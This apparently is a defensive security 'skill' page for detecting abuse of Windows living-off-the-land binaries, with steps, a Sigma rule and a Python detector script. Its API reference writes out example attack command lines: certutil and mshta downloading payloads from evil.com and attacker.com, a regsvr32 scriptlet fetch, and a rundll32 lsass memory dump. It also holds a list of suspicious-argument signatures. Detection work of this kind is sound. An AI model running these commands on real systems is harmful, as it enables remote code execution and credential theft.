npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Overview
Living Off the Land Binaries, Scripts, and Libraries (LOLBAS) are legitimate system utilities abused by attackers to execute malicious actions while evading detection. This skill covers detecting abuse of certutil.exe, regsvr32.exe, mshta.exe, rundll32.exe, msbuild.exe, and other LOLBins using process telemetry from Sysmon and Windows Event Logs, combined with Sigma rule-based detection.
When to Use
- When investigating security incidents that require detecting living off the land with lolbas
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
Prerequisites
- Sysmon or Windows Security Event Log (Event ID 4688) with command-line logging enabled
- Sigma rule conversion tool (sigmac or sigma-cli)
- SIEM platform (Splunk, Elastic, or similar) for log ingestion
- Python 3.8+ with pySigma library
- LOLBAS project reference database
Steps
- Establish LOLBin Watchlist — Build a prioritized list of monitored binaries (certutil, mshta, regsvr32, rundll32, msbuild, installutil, cmstp, wmic, bitsadmin)
- Collect Process Telemetry — Ingest Sysmon Event ID 1 (Process Create) and Windows 4688 events with full command-line capture
- Build Sigma Detection Rules — Create Sigma rules matching suspicious command-line arguments, network activity, and parent-child process anomalies for each LOLBin
- Analyze Parent-Child Relationships — Flag unexpected parent processes spawning LOLBins (e.g., Excel spawning certutil, Word spawning mshta)
- Score and Prioritize Alerts — Apply risk scoring based on argument anomaly, parent process, execution path, and network indicators
- Generate Detection Report — Produce a structured report of all LOLBin abuse detections with MITRE ATT&CK mapping
Expected Output
- JSON report listing detected LOLBin abuse events with severity scores
- MITRE ATT&CK technique mapping for each detection (T1218, T1105, T1140, T1127)
- Parent-child process anomaly analysis
- Sigma rule match details with raw event data
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.1 KB
LOLBAS Detection API Reference
Sysmon Event ID 1 — Process Creation
Sysmon captures full command-line arguments for every new process:
<EventID>1</EventID>
<Data Name="Image">C:\Windows\System32\certutil.exe</Data>
<Data Name="CommandLine">certutil -urlcache -split -f http://evil.com/payload.exe C:\Temp\p.exe</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</Data>
<Data Name="User">DOMAIN\jsmith</Data>Key LOLBin Signatures
certutil.exe (T1140, T1105)
certutil -urlcache -split -f http://malicious.com/file.exe output.exe
certutil -decode encoded.txt decoded.exe
certutil -encode payload.exe encoded.txtmshta.exe (T1218.005)
mshta http://attacker.com/malicious.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd"":close")regsvr32.exe (T1218.010)
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dllrundll32.exe (T1218.011)
rundll32.exe comsvcs.dll,MiniDump <lsass_pid> dump.bin full
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...");Sigma Rule Format
title: Suspicious Certutil Download
id: e011f510-fae2-4e3a-b31c-5d6c8e9faccd
status: stable
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certutil.exe'
condition_args:
CommandLine|contains|all:
- '-urlcache'
- '-f'
- 'http'
condition: selection and condition_args
level: high
tags:
- attack.t1105
- attack.t1140Sigma CLI Conversion
# Convert Sigma rule to Splunk query
sigma convert -t splunk -p sysmon certutil_download.yml
# Convert to Elastic query
sigma convert -t elasticsearch -p ecs_windows certutil_download.yml
# Validate Sigma rule syntax
sigma check certutil_download.ymlLOLBAS Project API
Browse the full LOLBin database at https://lolbas-project.github.io/
# Clone LOLBAS project for offline reference
git clone https://github.com/LOLBAS-Project/LOLBAS.git
ls LOLBAS/yml/OSBinaries/ # View all documented LOLBinsScripts 1
agent.py6.8 KB
#!/usr/bin/env python3
"""Detect Living Off the Land Binaries (LOLBAS) abuse via process telemetry and Sigma rules."""
import json
import argparse
from datetime import datetime
from collections import defaultdict
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": ["-urlcache", "-split", "-decode", "-encode", "-f http", "-verifyctl"],
"mitre": "T1140",
"description": "Certificate utility abused for download/decode",
},
"mshta.exe": {
"suspicious_args": ["http://", "https://", "javascript:", "vbscript:", ".hta"],
"mitre": "T1218.005",
"description": "HTML Application host executing remote content",
},
"regsvr32.exe": {
"suspicious_args": ["/s /n /u /i:http", "/i:http", "scrobj.dll", ".sct"],
"mitre": "T1218.010",
"description": "COM scriptlet execution via regsvr32 (Squiblydoo)",
},
"rundll32.exe": {
"suspicious_args": ["javascript:", "http://", "shell32.dll,ShellExec_RunDLL", "comsvcs.dll,MiniDump"],
"mitre": "T1218.011",
"description": "Rundll32 proxy execution or credential dumping",
},
"msbuild.exe": {
"suspicious_args": [".xml", ".csproj", "/p:", "inline task"],
"mitre": "T1127.001",
"description": "MSBuild inline task code execution",
},
"bitsadmin.exe": {
"suspicious_args": ["/transfer", "/create", "/addfile", "/resume", "/complete"],
"mitre": "T1197",
"description": "BITS job used for file download or persistence",
},
"wmic.exe": {
"suspicious_args": ["process call create", "/node:", "os get", "format:"],
"mitre": "T1047",
"description": "WMI command-line for execution or reconnaissance",
},
"cmstp.exe": {
"suspicious_args": ["/ni", "/s", ".inf"],
"mitre": "T1218.003",
"description": "CMSTP UAC bypass with malicious INF",
},
}
SUSPICIOUS_PARENTS = {
"winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
"wmiprvse.exe", "svchost.exe", "taskeng.exe", "cmd.exe",
}
def parse_process_events(log_path):
"""Parse Sysmon or Windows 4688 process creation events from JSON log."""
events = []
with open(log_path) as f:
for line in f:
line = line.strip()
if not line:
continue
try:
event = json.loads(line)
events.append(event)
except json.JSONDecodeError:
continue
return events
def detect_lolbin_abuse(events):
"""Detect LOLBin abuse from process creation events."""
detections = []
for event in events:
image = event.get("Image", event.get("NewProcessName", "")).lower()
cmdline = event.get("CommandLine", event.get("ProcessCommandLine", "")).lower()
parent = event.get("ParentImage", event.get("ParentProcessName", "")).lower()
binary_name = image.rsplit("\\", 1)[-1] if "\\" in image else image.rsplit("/", 1)[-1]
if binary_name not in LOLBIN_SIGNATURES:
continue
sig = LOLBIN_SIGNATURES[binary_name]
matched_args = [arg for arg in sig["suspicious_args"] if arg.lower() in cmdline]
if not matched_args:
continue
parent_name = parent.rsplit("\\", 1)[-1] if "\\" in parent else parent.rsplit("/", 1)[-1]
parent_suspicious = parent_name in SUSPICIOUS_PARENTS
severity = "high" if parent_suspicious else "medium"
if len(matched_args) > 1:
severity = "critical"
detections.append({
"timestamp": event.get("UtcTime", event.get("TimeCreated", datetime.utcnow().isoformat())),
"binary": binary_name,
"command_line": event.get("CommandLine", event.get("ProcessCommandLine", "")),
"parent_process": parent,
"parent_suspicious": parent_suspicious,
"matched_signatures": matched_args,
"mitre_technique": sig["mitre"],
"description": sig["description"],
"severity": severity,
"user": event.get("User", event.get("SubjectUserName", "unknown")),
"pid": event.get("ProcessId", event.get("NewProcessId", "")),
})
return detections
def generate_sigma_rule(binary_name):
"""Generate a Sigma detection rule for a specific LOLBin."""
if binary_name not in LOLBIN_SIGNATURES:
return None
sig = LOLBIN_SIGNATURES[binary_name]
rule = {
"title": f"Suspicious {binary_name} Execution",
"id": f"lolbas-{binary_name.replace('.exe', '')}-detection",
"status": "experimental",
"description": sig["description"],
"references": ["https://lolbas-project.github.io/"],
"logsource": {"category": "process_creation", "product": "windows"},
"detection": {
"selection": {"Image|endswith": f"\\{binary_name}"},
"condition_args": {
"CommandLine|contains": sig["suspicious_args"]
},
"condition": "selection and condition_args",
},
"falsepositives": ["Legitimate administrative use"],
"level": "high",
"tags": [f"attack.{sig['mitre'].lower()}"],
}
return rule
def build_report(detections, log_path):
"""Build structured detection report."""
by_binary = defaultdict(list)
for d in detections:
by_binary[d["binary"]].append(d)
severity_counts = defaultdict(int)
for d in detections:
severity_counts[d["severity"]] += 1
return {
"report_time": datetime.utcnow().isoformat(),
"log_source": log_path,
"total_detections": len(detections),
"severity_summary": dict(severity_counts),
"detections_by_binary": {k: len(v) for k, v in by_binary.items()},
"mitre_techniques": list({d["mitre_technique"] for d in detections}),
"detections": detections,
}
def main():
parser = argparse.ArgumentParser(description="LOLBAS Abuse Detection Agent")
parser.add_argument("--log-file", required=True, help="JSON log file with process creation events")
parser.add_argument("--output", default="lolbas_detections.json", help="Output report path")
parser.add_argument("--generate-sigma", action="store_true", help="Generate Sigma rules for all LOLBins")
args = parser.parse_args()
events = parse_process_events(args.log_file)
detections = detect_lolbin_abuse(events)
report = build_report(detections, args.log_file)
if args.generate_sigma:
report["sigma_rules"] = {}
for binary in LOLBIN_SIGNATURES:
report["sigma_rules"][binary] = generate_sigma_rule(binary)
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"[+] Analyzed {len(events)} events, found {len(detections)} LOLBin abuse detections")
print(f"[+] Report saved to {args.output}")
if __name__ == "__main__":
main()